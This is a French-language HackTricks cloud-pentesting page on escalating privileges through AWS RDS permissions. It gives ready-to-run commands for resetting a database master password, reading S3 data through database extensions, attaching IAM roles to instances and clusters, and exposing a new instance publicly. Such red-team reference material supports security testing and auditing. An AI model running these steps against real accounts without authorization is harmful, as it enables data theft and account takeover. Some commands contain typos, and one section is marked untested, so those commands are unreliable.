AWS - RDS Privesc

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

RDS - Service de base de données relationnelle

Pour plus d'informations sur RDS, consultez :

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Avec cette permission, un attaquant peut modifier le mot de passe du master user, et le login à l'intérieur de la base de données :

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

Vous devrez ĂȘtre capable de contacter la base de donnĂ©es (elles sont gĂ©nĂ©ralement accessibles uniquement depuis l'intĂ©rieur des rĂ©seaux).

Impact potentiel : Trouver des informations sensibles dans les bases de données.

rds-db:connect

Selon les docs un utilisateur avec cette permission pourrait se connecter Ă  l'instance DB.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

tip

Si l'exĂ©cution de SELECT datname FROM pg_database; renvoie une base de donnĂ©es appelĂ©e rdsadmin, vous savez que vous ĂȘtes Ă  l'intĂ©rieur d'une base de donnĂ©es AWS postgresql.

Dans un premier temps, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pouvez le vérifier en regardant les extensions installées :

sql
SELECT * FROM pg_extension;

Si vous trouvez quelque chose comme aws_s3 vous pouvez supposer que cette base de données a une forme d'accÚs à S3 (il existe d'autres extensions telles que aws_ml et aws_lambda).

Aussi, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez voir là si le cluster a un IAM Role attaché dans le champ AssociatedRoles. S'il y en a, vous pouvez supposer que la base de données a été préparée pour accéder à d'autres services AWS. D'aprÚs le nom du role (ou si vous pouvez obtenir les permissions du role) vous pouvez deviner quels accÚs supplémentaires la base de données possÚde.

Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec :

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Si vous aviez raw AWS credentials, vous pourriez aussi les utiliser pour accéder aux données S3 avec :

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql n'a pas besoin de modifier aucune variable de groupe de paramÚtres pour pouvoir accéder à S3.

Mysql (Aurora)

tip

Dans un mysql, si vous exĂ©cutez la requĂȘte SELECT User, Host FROM mysql.user; et qu'il existe un utilisateur appelĂ© rdsadmin, vous pouvez supposer que vous ĂȘtes dans une AWS RDS mysql db.

Dans le mysql, exĂ©cutez show variables; et si des variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez considĂ©rer que la base de donnĂ©es est prĂȘte Ă  accĂ©der aux donnĂ©es S3.

De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rÎle associé, ce qui signifie généralement un accÚs aux services AWS).

Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un attaquant disposant des permissions rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rÎle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données contenues dans l'instance.

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données de l'instance RDS.
Notez que certaines DBs nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.

rds:CreateDBInstance

Rien qu'avec cette permission, un attaquant pourrait crĂ©er une nouvelle instance Ă  l'intĂ©rieur d'un cluster qui existe dĂ©jĂ  et auquel est attachĂ© un IAM role. Il ne pourra pas changer le mot de passe du master user, mais il pourrait ĂȘtre capable d'exposer la nouvelle instance de base de donnĂ©es sur Internet:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO : Tester

Un attaquant disposant des autorisations rds:CreateDBInstance et iam:PassRole peut créer une nouvelle instance RDS avec un rÎle spécifié attaché. L'attaquant peut alors potentiellement accéder à des données sensibles ou modifier les données contenues dans l'instance.

warning

Certaines exigences pour le rĂŽle/instance-profile Ă  attacher (depuis here):

  • Le rĂŽle/instance-profile doit exister dans votre compte.
  • Le profile doit avoir un rĂŽle IAM que Amazon EC2 est autorisĂ© Ă  assumer.
  • Le nom de l'instance profile et le nom du rĂŽle IAM associĂ© doivent commencer par le prĂ©fixe AWSRDSCustom .
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un attaquant disposant des permissions rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rÎle spécifié à une instance RDS existante. Cela pourrait permettre à l'attaquant d'accéder à des données sensibles ou de modifier les données contenues dans l'instance.

warning

L'instance DB doit se trouver en dehors d'un cluster pour cela

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impact potentiel: AccÚs à des données sensibles ou modifications non autorisées des données dans l'instance RDS.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks